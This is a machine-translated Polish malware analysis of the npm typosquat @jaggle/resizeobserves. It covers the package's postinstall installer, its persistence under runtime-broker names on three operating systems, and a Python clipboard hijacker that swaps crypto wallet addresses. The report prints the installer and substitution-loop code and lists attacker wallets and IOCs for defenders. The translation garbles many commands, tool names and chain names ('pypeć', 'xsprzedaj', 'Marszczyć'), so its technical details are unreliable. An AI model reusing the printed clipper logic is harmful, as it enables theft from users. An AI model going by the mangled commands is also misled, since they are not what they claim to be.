RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker: npm Typosquat tworzy 40-łańcuchowy Crypto-Clipper jako narzędzie pomocnicze w środowisku uruchomieniowym systemu między systemami operacyjnymi

TL; DR

W dniu 2026-05-21 wydawca npm jaggle wydano dziewięć wersji (1.0.0 przez 1.0.8) z @jaggle/resizeobserves w ciągu około dwóch godzin.

Pakiet jest typosquatem legalnego @juggle/resize-observer polyfill — szeroko stosowany pakiet, pobierany co tydzień przez miliony osób — nie zawiera jednak faktycznej implementacji ResizeObserver.

Zamiast tego pakiet hak postinstalacyjny instaluje dołączony ładunek Pythona, rejestruje trwałość jako broker środowiska uruchomieniowego wyglądający na natywny dla danej platformy i wdraża międzyplatformowego porywacza schowka mającego na celu transakcje kryptowalutowe.

Linux wytrwałość pojawia się jako python3-dbus-helper, macOS as com.apple.python.runtime, Windows as PyRuntimeBroker.

Ładunek stale monitoruje schowek pod kątem adresów portfeli ponad 40 blockchainów i po cichu zastępuje skopiowane adresy portfelami kontrolowanymi przez atakujących.

Szkodliwe oprogramowanie działa wyłącznie lokalnie, bez żadnej infrastruktury C2, przez co sama zamiana schowka staje się mechanizmem eksfiltracji.

Podstawowym wskaźnikiem IOC jest sama nazwa pakietu: @jaggle/resizeobserves — zwróć uwagę na opuszczoną samogłoskę w „jaggle” i dodane „s” w „resizeobserves”.

Stopień zagrożenia: wysoki.

Atak: Jak to działa

npm:@jaggle/resizeobserves na zwykłym komputerze nie wygląda jak złośliwe oprogramowanie widok npm. Jego README.md jest dosłownym README npm:@juggle/resize-observer — te same przykłady kodu, te same instrukcje użytkowania, te same importuj { ResizeObserver } z '@juggle/resize-observer' Odniesienia w całym tekście. Plagiat jest tak całkowity, że każdy, kto zerknie do dokumentacji, mógłby pomyśleć, że czyta dokumentację oryginalnego pakietu.

pakiet.json, przeciwnie, jest rzadki: nie składnica pole, pojedynczy kosz wejście wskazujące na bin/schowek-guardian.jsI po instalacji skrypt, który działa węzeł npm-install.jsPrzykłady „Podstawowego użycia” w pliku README odwołują się do implementacji JavaScript, która nie występuje nigdzie w archiwum tarball. Jedynym skryptem JavaScript w pakiecie jest skrypt instalacyjny.

Etap 1 — npm postinstall uruchamia ładunek Pythona

npm-install.js jest świadomy platformy. Lokalizuje pypeć wykonywalny wzdłuż ustalonej ścieżki wyszukiwania (/usr/bin/pip3, /usr/local/bin/pip, wracając do python3 -m pip), instaluje dołączony pakiet Pythona z katalogu tarball i — w systemie Linux — pobiera xclip or xsprzedaj przez apt-get, pacmanlub DNF jeśli żaden z nich nie jest już obecny:

				
					javascript
if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {
  run("apt-get install -y xclip 2>/dev/null") ||
  run("pacman -S --noconfirm xclip 2>/dev/null") ||
  run("dnf install -y xclip 2>/dev/null");
}

if (
  !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&
  !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`)
) process.exit(1);

				
			

Sposób użycia –break-system-packages jest celowe: współczesne dystrybucje Linuksa zawierają Pythona z włączonym znacznikiem externally-manager-environment w PEP 668, który domyślnie blokuje instalacje pip w całej witrynie. Skrypt instalacyjny wymusza instalację.

Skrypt jest również zgodny z sudo. Gdy identyfikator użytkownika jest wynikiem instalacja sudo npm, w skrypcie czytamy SUDO_USER i wypłaca Getent passwd znaleźć real katalog domowy użytkownika, a następnie zapisuje tam swoje pliki trwałości, a nie do / rootTrwałość dotyczy konkretnego użytkownika, a nie całego systemu.

Etap 2 — Trwałość między systemami operacyjnymi pod nazwami brokerów środowiska wykonawczego

Po zainstalowaniu pakietu Python skrypt rejestruje wpis automatycznego uruchamiania pod inną nazwą w każdym systemie operacyjnym:

  • Linux — jednostka użytkownika systemd w ~/.config/systemd/user/python3-dbus-helper.service. Jednostka OPIS is Pomocnik środowiska wykonawczego Python D-Bus. Skrypt próbuje również włączyć go poprzez systemctl –user enable, powracając do ręcznego dowiązania symbolicznego domyślny.cel.chce/ gdy systemctl zawiedzie. Jeśli działa w sudo, skrypt przełącza się na sudo -u systemctl –użytkownikZ XDG_RUNTIME_DIR ustaw tak, aby połączenie użytkownika z magistralą działało.
  • macOS — plik plist LaunchAgent w ~/Biblioteka/LaunchAgents/com.apple.python.runtime.plist w RunAtLoad=true oraz KeepAlive=true, a następnie załadowane przez załaduj launchctl.
  • Windows — zaplanowane zadanie o nazwie PyRuntimeBroker, wyzwalane przez AtLogOn, z limitem czasu wykonania równym zero (tj. bez przekroczenia limitu czasu), zarejestrowane za pomocą programu PowerShell.

Wszystkie trzy nazwy wydają się wiarygodne na pierwszy rzut oka. python3-dbus-helper jest zgodna z konwencją nazewnictwa obowiązującą przy integracji Python-D-Bus na komputerach stacjonarnych z systemem Linux. com.apple.python.runtime naśladuje odwrotne etykietowanie DNS stosowane przez Apple w przypadku jego własnych usług. PyRuntimeBroker przypomina system Windows RuntimeBroker.exe — prawdziwa, podpisana usługa Microsoft, która pośredniczy w żądaniach uprawnień dla aplikacji UWP. Żadna z nich nie jest w tym kontekście prawdziwą usługą Apple/Microsoft/Python, ale obrońca przeprowadza szybkie wizualne skanowanie systemctl –user lista-jednostek or Get-ScheduledTask jest mało prawdopodobne, aby drgnął.

Etap 3 — porywacz schowka

Ładunek Pythona zainstalowany w schowek_guardian/guardian.py, uruchamia nieskończoną pętlę, odpytując schowek systemowy co 400 milisekund. W każdym takcie pobiera bieżącą zawartość schowka za pomocą pyperclip.paste() i uruchamia je na liście ponad czterdziestu skompilowanych wstępnie wyrażeń regularnych obejmujących formaty adresów portfeli dla Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain i kilku innych szczątkowych, ale pustych w domyślnej konfiguracji (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).

Gdy trafi się dopasowanie, skrypt odczytuje adres atakującego dla tego łańcucha z ~/.config/clipboard-guardian/config.json (lub odpowiedniki na jego platformie) i nadpisuje zawartość schowka zastąpionym tekstem:

				
					python
result = find_address_in_text(current, config)
if result is None:
    time.sleep(POLL_INTERVAL)
    continue

chain, found_addr = result
my_addr = config[chain]
if found_addr == my_addr:
    time.sleep(POLL_INTERVAL)
    continue

new_text = replace_address_in_text(current, found_addr, my_addr)
clipboard_set(new_text)

				
			

Nie ma sygnału sieciowego. Clipper nie dzwoni do domu, nie rejestruje zainfekowanych hostów, nie wykrada niczego. Wykradanie jest samo w sobie substytucją: gdy użytkownik kopiuje adres odbiorcy z interfejsu użytkownika portfela i wkleja go w oknie wysyłania, wklejony adres należy do operatora. Środki są tracone w paśmie, w sposób niewidoczny dla użytkownika.

Co tu nowego?

W porównaniu ze standardowym szablonem Crypto-Clipper wyróżnia się kilka szczegółów:

1. Połączenie npm i Pythona. Większość krypto-clipperów, które widzimy w npm, to czysty JavaScript, często zaciemniony _0x obrót tablicy lub eval(atob(…)) Stosy. Ten przykład wykorzystuje archiwum tar npm jako nic więcej niż opakowanie dostarczające pakiet Pythona — czystego Pythona — i pozwala pip obsługiwać instalację zależności (pyperclip, pseudonim, opcjonalny ustaw tytułproc) zadeklarowane w pakiecie pyproject.tomlNie ma tu żadnego zaciemniania kodu JavaScript, którego nie dałoby się obejść. Sam clipper to po prostu czytelny Python.

2. Etykiety trwałości Tri-OS wybrane ze względu na wiarygodność. Wiele instalatorów międzyplatformowych rejestruje trwałość pod nazwami ogólnymi (usługa aktualizacji, helper.plist). W tym przykładzie starano się wybrać etykiety, które przypominają brokerów środowiska uruchomieniowego natywnych dla danej platformy w każdym systemie operacyjnym. Nazewnictwo to jedyna próba ukrycia – nie ma tu rootkita, ukrywania przestrzeni użytkownika ani zaciemniania ścieżek. Zakład jest taki, że obrońcy rzadko przeprowadzają audyt. ~/.config/systemd/user/ i że usługa o nazwie python3-dbus-helper nie będzie się wyróżniać w pobieżnej recenzji.

3. Ukrywanie nazwy procesu jest prawdziwe, ale antyanaliza jest uśpiona. Ładunek Pythona definiuje _disguise_process() funkcja ustawiająca tytuł procesu za pomocą ustaw tytułproc (Linux/macOS) lub UstawTytułKonsoliW (Windows) — i Głównym () tak to nazywa. Więc ps aux pokaże python3-dbus-helper zamiast python3 …/guardian.py. Jednak ten sam moduł definiuje is_monitor_running() funkcja wyliczająca znane narzędzia do monitorowania procesów (htop, btop, Menedżer zadań, Monitor aktywności, Process Hacker, Monitor zasobów, monitory systemowe GNOME / KDE / Xfce / MATE itd.) — i Głównym () Nigdy jej nie wywołuje. Pętla podstawiania działa bezwarunkowo, niezależnie od tego, czy użytkownik ma otwarty monitor procesu. Funkcja jest martwym kodem w dostarczonej wersji. Najprawdopodobniej jest to pozostałość z wcześniejszej iteracji lub rusztowanie dla funkcji, która nie została jeszcze wdrożona. Tak czy inaczej, powierzchnia antyanalizy opublikowanego ładunku to zmiana nazwy jednego procesu, a nie obejście aktywnego monitora.

4. Dołączone zachowanie config-merge. npm-install.js zapisuje domyślną listę portfeli do ~/.config/clipboard-guardian/config.json a jeśli plik konfiguracyjny już istnieje, scala wszystkie klucze, których istniejąca wartość jest pusta. Oznacza to, że użytkownik, który wcześniej został zainfekowany i częściowo wyczyścił konfigurację — na przykład opróżniając ethereum wartość — będzie ona ponownie wypełniana przy każdej kolejnej instalacji złośliwego pakietu. Nie ma czyszczenia pliku trwałości w żadnej ścieżce kodu.

Data/Czas (UTC)wydarzenie
2026-05-21 18:50:32@jaggle/resizeobserves@1.0.0 opublikowany.
2026-05-21 19:55:551.0.1 opublikowano — pierwsza wersja oznaczona przez skanowanie zewnętrzne.
2026-05-21 19:58:101.0.2 opublikowany.
2026-05-21 20:05:031.0.3 opublikowany.
2026-05-21 20:09:241.0.4 opublikowany.
2026-05-21 20:13:481.0.5 opublikowany.
2026-05-21 20:41:521.0.6 opublikowany.
2026-05-21 20:43:56 1.0.7 opublikowano — dodaje try/catch opakowanie wokół kroku zapisu konfiguracji portfela npm-install.js.
2026-05-21 20:46:15 1.0.8 opublikowano — zmieniono nazwę instalatora npm-install.js → npm-install.cjs (zawartość identyczna bajtowo).
2026-05-22 Werdykty i MKOl zostały opublikowane. Wersje nadal znajdują się w rejestrze w momencie publikacji (w toku).

Dziewięć wersji w godzinę i pięćdziesiąt sześć minut to szybko, nawet jak na literówkę. Wzór jest spójny z kampania „opublikuj i spal” — zapełnij rejestr jednym uchwytem, ​​pozwól wykrywaniu działać własnym torem i przenieś się na nowy uchwyt po usunięciu jednej wersji. Widoczne różnice w przebiegu mają charakter kosmetyczny: wersja 1.0.1 dodała jawne /usr/bin/pip3-ścieżki w stylu do listy wyszukiwania pip (zgodność z sudo), wersja 1.0.7 zawinęła zapis konfiguracji portfela w try/catch, a wersja 1.0.8 zmieniła nazwę instalatora z . Js do .cjs zachowując przy tym identyczność zawartości co do bajtów. .cjs zmień nazwy ścieżek z ostrzeżeniami npm dotyczącymi niejednoznacznego rozwiązania modułu w pakietach bez wyraźnego "rodzaj" pole i może być próbą stłumienia szumu instalacji, który mógłby zwrócić uwagę. Ładunek Pythona – jedyna część, która faktycznie kradnie – pozostaje niezmieniony we wszystkich dziewięciu wersjach.

Wskaźniki kompromisu

Pakiety

ekosystemPakietwersjeStatus
Npm@jaggle/resizeobserves1.0.0 przez 1.0.8Na żywo w momencie publikacji; żądanie usunięcia.

Pliki i skróty

ścieżkaKomentarz
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
Identyczne we wszystkich dziewięciu opublikowanych wersjach (1.0.0 przez 1.0.8). Ładunek klipra.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
Instalator trwały; takie samo zachowanie od początku do końca. 1.0.7's .js oraz 1.0.8's .cjs są identyczne bajtowo.
~/.config/clipboard-guardian/config.jsonPakiet konfiguracji trwałości systemu Linux i portfela.
~/Library/Application Support/clipboard-guardian/config.jsonKonfiguracja trwałości systemu macOS i pakiet portfela.
%APPDATA%\clipboard-guardian\config.jsonKonfiguracja trwałości systemu Windows i pakiet portfela.
~/.config/systemd/user/python3-dbus-helper.serviceTrwałość automatycznego uruchamiania systemu Linux.
~/Library/LaunchAgents/com.apple.python.runtime.plistTrwałość macOS LaunchAgent.
~/Library/Logs/com.apple.python.runtime.logDziennik stdout/stderr systemu macOS dla agenta.
Scheduled Task PyRuntimeBrokerZadanie automatycznego uruchamiania systemu Windows (AtLogOn, bez limitu czasu).

Wskaźniki behawioralne

SignalOPIS
pip install --break-system-packages z npm postinstallWymusza instalację języka Python na całej stronie, omijając zabezpieczenia PEP 668.
apt-get install -y xclip (lub pacman/dnf)Instaluje narzędzia schowka w systemie Linux podczas instalacji pakietów.
python3-dbus-helper.service jednostka użytkownika systemdTrwałość zarejestrowana pod wiarygodnie wyglądającą nazwą pomocnika środowiska wykonawczego.
com.apple.python.runtime Uruchom AgentaEtykieta trwałości poza legalnymi ścieżkami systemowymi Apple.
PyRuntimeBroker Zaplanowane zadanieFałszywa trwałość brokera środowiska uruchomieniowego systemu Windows bez legalnego źródła instalatora.
Proces Pythona zatytułowany python3-dbus-helper importowanie pyperclip oraz psutilNiezgodność zachowania pomiędzy wyświetlaną nazwą procesu i importowanymi bibliotekami.
Zmiany w schowku ~0.4 s po skopiowaniu adresu portfelaCharakterystyczne zachowanie substytucji adresów kryptowalut.

Pakiet portfela dla atakujących (lista polowań na obrońców)

Lista portfeli jest zakodowana na stałe npm-install.js oraz schowek_guardian/guardian.pyObrońcy mogą używać tej listy zarówno jako listy blokowanych (traktując wszelkie transfery na te adresy z portfeli korporacyjnych jako podejrzane), jak i klucza śledzącego (traktując obecność któregokolwiek z tych ciągów w niezweryfikowanym pliku konfiguracyjnym, artefakcie kompilacji lub komputerze dewelopera jako wskaźnik infekcji).

Pakiet portfela atakującego

ŁańcuchAdres
Ethereum / BSC0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Ronin (EVM)ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Bitcoinbc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
Bitcoin Cashbitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
Litecoinltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
dogecoinDNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
myślnikXtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcasht1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByteDPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
Monero42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
SolanaDWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
TRONTVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
TONUQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
Marszczyćr9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
Polkadot1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
BLISKO5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
kosmoscosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
Osmozaosmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
Celestiacelestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
Iniekcyjnyinj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
Kavakava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
Harmoniaone19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
Ziemiaterra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
AlgorandXSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
GwiezdnyGACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
Cardanoaddr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
MultiwersyXerd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
Aptos0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
sui0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
Nanonano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoinf1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
Tezostz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
Ergo9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
Hedera0.0.10488092

Łańcuchy z pokryciem wyrażeń regularnych, ale pustymi slotami portfela w domyślnej konfiguracji — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — nie są aktywnie podstawiane w tej kompilacji, ale są wykrywane. Traktuj je jako zakres monitorowania, a nie zakres podstawiania.

Atrybucja i motywacja

Kampania oferuje niewielką powierzchnię atrybucji. Nie udało nam się potwierdzić tożsamości operatora. Co możemy zarejestrować:

  • Metadane wydawcy. Konto npm brzęczeć podaje swój adres e-mail jako olgascarlet@deltajohnsons.com. Domena deltajohnsons.com nie prowadzi do tożsamości korporacyjnej, którą możemy zweryfikować. Konto npm nie zawiera weryfikacji adresu e-mail ani SCM weryfikacja. Brak powiązanej publicznej obecności w serwisie GitHub.
  • Pole repozytorium. pakiet.json nie niesie składnica pole. Uzasadnione npm:@juggle/resize-observer wskazuje na prawdziwe repozytorium GitHub z tysiącami gwiazdek i aktywnymi zgłoszeniami. Brak linku do repozytorium to najszybszy wizualny sygnał w interfejsie użytkownika npm.
  • PRZECZYTAJ MNIE plagiat. Pakiet README jest legalny @juggle/resize-observer Plik README bajt po bajcie, w tym importować przykłady, które się odnoszą @juggle/resize-observer Sam w sobie (nie w pakiecie wydawniczym). Operator nawet nie zadał sobie trudu przepisania importów — typowy sygnał, że plik readme został usunięty, a nie dostosowany.
  • Brak infrastruktury, na której można by się oprzeć. Brak punktu końcowego C2, wyszukiwania DNS i adresu IP. Złośliwe zachowanie jest w pełni hermetyzowane w lokalnym clipperze oraz w zakodowanym na stałe pakiecie portfela. To uniemożliwia przenoszenie danych na podstawie domeny lub ASN. Osoby dokonujące przeniesień między kampaniami powinny porównywać portfele z dowolnym wcześniejszym clipperem, który mają w swoich plikach; ponowne wykorzystanie portfela w różnych pakietach to najłatwiejsze do uwzględnienia połączenie między kampaniami.
  • Wybór nazwy. @jaggle/resizeobserves jest o jedną postać od @żonglować i jedno odchylenie od dobrze znanego obserwator zmiany rozmiaruŁączna odległość edycji to dwa glify. To celowe zderzenie wizualne, a nie generyczne przysiady.

Motywacja oparta na zachowaniu ładunku: czysta monetyzacja poprzez oportunistyczną podmianę danych w schowku. Nie ma tu gromadzenia danych uwierzytelniających, odcisków palców hosta ani odczytu zmiennych środowiskowych. Operatora nie obchodzi, kim jest ofiara — zależy mu na tym, aby kolejny transfer ofiary był kierowany na jeden z wymienionych adresów. Pokrycie czterdziestu łańcuchów to model loterii w działaniu: rzucaj szeroko, miej nadzieję, że pojedyncza, wartościowa wklejka trafi raz na N instalacji.

Operator wydaje się nie przejmować usunięciem. Opublikowanie dziewięciu wersji w ciągu dwóch godzin w tym samym zakresie można porównać do publikowania i nagrywania: zmaksymalizuj rozmiar rejestru, zanim opóźnienie usunięcia się skończy, a potem przejdź dalej. Nie zaobserwowaliśmy @jaggle w chwili pisania tego tekstu publikujemy ponownie w nowym zakresie, ale spodziewamy się podobnych zakresów (@jaggie, @żonglować-, @podskoczyć) pojawią się w ciągu najbliższych dni, jeśli operator będzie nadal aktywny.

Wpływ, trendy i co powinni zrobić obrońcy

 Wpływ

Określenie wpływu na rzeczywiste pieniądze nie jest możliwe na podstawie obecnego zestawu danych. Clipper nie zapisuje danych telemetrycznych, a w momencie odcięcia analizy nie zaobserwowano jeszcze, aby portfele otrzymywały zastępcze przelewy (na naszej liście znajduje się kontynuacja analizy wymienionych łańcuchów). npm:@juggle/resize-observer średnia liczba pobrań tygodniowo wynosi siedem cyfr — cel typosquatów o dużym natężeniu ruchu — a złośliwy pakiet był aktywny przez mniej niż 24 godziny w momencie ujawnienia, co ogranicza liczbę narażonych na niego użytkowników, ale nie eliminuje go.

Promień wybuchu, który warto śledzić, nie jest bezpośrednim pobieraniem @jaggle/resizeobserves — te są prawdopodobnie małe. To **instalacje przechodnie**: programista dodaje pakiet do projektu sandbox, uruchamiając npm zainstalować, a potem zapominając, że hak instalacyjny kiedykolwiek został uruchomiony. Każda maszyna, która przetwarzała postinstall, ma teraz porywacza schowka dla każdego użytkownika podczas automatycznego uruchamiania, niezależnie od tego, czy projekt jest nadal na dysku. Usuwanie katalogu pakietu z node_modules **nie** usuwa trwałości.

Nowe wzorce

Ta kampania ilustruje dwa trendy.

npm jako wrapper dostarczający dane w języku Python. Plik tarball npm to instalator składający się z 4 wierszy; rzeczywistym złodziejem jest Python, instalowany w całym systemie przez pypeć z dołączonego katalogu. To nie nowość — widzieliśmy już wcześniej, jak pakiety npm pomijały Pythona — ale staje się to coraz bardziej powszechnym zjawiskiem w kampaniach krypto-clipperów. Korzyść dla operatora jest podwójna: biblioteki schowka Pythona (pyperclip (pierwsze z nich) są czystsze i bardziej wieloplatformowe niż odpowiedniki JavaScript, a większość zautomatyzowanych skanerów npm mocno obciąża pliki JavaScript i Python .py pakuje lekko. Koszt jest taki, że instalacja jest znacznie głośniejsza — to świeży instalacja pipsa trudno ukryć na komputerze dewelopera, który normalnie tego nie robi instalacja pipsa podczas npm zainstalować.

Jedyną ukrytą opcją są nazwy natywne dla danej platformy. W kilku ostatnich programach typu clipper i złodziejach małych ładunków całkowicie zrezygnowano z zaciemniania kodu na rzecz wyglądających na uzasadnione etykiet trwałości. python3-dbus-helper, com.apple.python.runtime, PyRuntimeBroker to przykłady podręcznikowe — nazwy, które obrońca pominie na liście czterdziestu usług użytkownika. To tania i trwała forma stealth: usunięcie następuje dla każdego pakietu, ale pliki trwałości pozostają niezmienione, a usługa nazwana na cześć wyglądającego na realistyczną komponentu platformy nie zostanie wyczyszczona przez nic innego niż jawny audyt.

Co powinni zrobić obrońcy

  • Audyt ~/.config/systemd/user/, ~/Library/LaunchAgents/ i Get-ScheduledTask wydajność na komputerach deweloperskich dla wpisów wymienionych w IOC. Usunięcie pakietu npm pozostawia je na miejscu; należy je usunąć ręcznie.
  • Zablokuj przelewy na wymienione adresy portfela na granicach skarbu przedsiębiorstwa i portfela DeFi, gdzie dostępna jest lista dozwolonych adresów.
  • Poszukiwanie pliku ~/.config/clipboard-guardian/config.json (i odpowiedników platformowych) we flocie komputerów programistów. Obecność pliku jest wysoce prawdopodobną infekcją, niezależnie od wersji pakietu, z której pochodzi.
  • Wyszukaj w node_modules/ clipboard_guardian/guardian.py w migawkach pamięci podręcznej kompilacji, które mogą być starsze niż usunięcie. MD5 pliku jest stabilny we wszystkich testowanych wersjach.
  • Blokada pliku-pin @juggle/resize-observer (legalny pakiet), więc przyszłe instalacje nie będą mogły rozwiązać niczego innego w wyniku błędu typu jednego znaku, szczególnie w przypadku przepływów pracy bez plików blokady, takich jak np.
  • Traktuj każde wywołanie npm postinstall przez pip install jako o wysokim stopniu nasilenia w budowiepipeline Polityka. Nie ma uzasadnionego powodu, dla którego pakiet npm wymagałby użycia pip podczas instalacji — narzędzia Pythona są dystrybuowane przez Python Tooling.
  • Wyszukaj dane monitorujące porównywalne z process_iter() dla procesów o nazwie python3-dbus-helper, które importują pyperclip — niezgodność przebrania (pomocnik D-Bus trzymający bibliotekę schowka) jest najczystszym wskaźnikiem behawioralnym, jaki posiadamy.
  • Zmień adresy portfeli wklejone z zainfekowanych maszyn. Porywacz schowka narusza ścieżkę między interfejsem użytkownika portfela a miejscem docelowym wklejania; adresy skopiowane podczas infekcji mogą zostać po cichu zmienione. Wszystko, co zostało wysłane w czasie infekcji, należy traktować jako potencjalnie niewłaściwie skierowane.

Wniosek: trwałość trwa dłużej niż usunięcie. Rejestr ostatecznie usunie @jaggle/resizeobserves we wszystkich dziewięciu wersjach jednostka systemd, LaunchAgent i Scheduled Task nie zostaną usunięte same z siebie.

Referencje

  • @juggle/resize-observer na npm — legalny pakiet, pod który podszywa się ten typosquat; przydatny jako punkt odniesienia przy plagiatowaniu pliku README bajt po bajcie.
  • @jaggle/resizeobserves metadane rejestru — opublikuj znaczniki czasu dla dziewięciu złośliwych wersji, co będzie przydatne przy ustalaniu chronologii zdarzeń w celach kryminalistycznych.
sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz rozwój i dostarczanie oprogramowania

z pakietem produktów Xygeni